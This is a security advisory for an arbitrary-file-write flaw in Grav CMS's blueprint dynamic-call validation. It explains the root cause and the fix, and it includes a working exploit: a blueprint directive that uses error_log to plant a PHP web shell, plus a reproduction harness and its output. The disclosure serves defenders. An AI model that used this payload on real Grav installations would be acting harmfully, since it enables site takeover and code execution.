CVE-2026-75827: Grav before 2.0.15 Arbitrary File Write via error_log

Affected versions and vulnerable location

- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Sinks: - system/src/Grav/Common/Data/Blueprint.php:455-458 calluserfuncarray($o, $params) (bare-function dynamic-data provider). - Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 calluserfuncarray($function, $params). - Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536. - Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables. - Bare-function branch (:530-534) uses only a denylist: if (isstring($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);. - Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

errorlog is not on the denylist (verified: no occurrence in Utils.php). errorlog($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (streamsocketclient, dl, and mbsendmail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['errorlog', '<?php system($GET[0]); ?>', 3, 'user/data/x.php']. 2. Blueprint::init() resolves the directive; isSafeDynamicCall('errorlog', $params) reaches the bare-function branch (:530), isDangerousFunction('errorlog') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true. 3. calluserfuncarray('errorlog', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct errorlog write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

text [1] isSafeDynamicCall('errorlog', [payload,3,dest]) => true # guard ACCEPTS errorlog (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] calluserfuncarray('errorlog', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/gravrceproof.php']) file written: /tmp/gravrceproof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/gravrceproof.php => PWNED # arbitrary PHP executed (RCE)

The guard returns true for errorlog (and false for the denylisted system/exec controls), the errorlog sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

bash rg -n "errorlog|streamsocketclient|mbsendmail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|calluserfuncarray" system/src/Grav/Common/Data/Blueprint.php

errorlog absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.

Suggested fix

Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: errorlog (arbitrary append), streamsocketclient (SSRF), and others must otherwise each be enumerated.

Severity and CVSS reasoning

Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.

- PR:L: a blueprint/page-edit account, not super. - C:H/I:H/A:H: arbitrary file write leading to code execution.

How I found it and a note on tooling

I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found errorlog missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts errorlog and rejects system/exec, and drove the errorlog sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.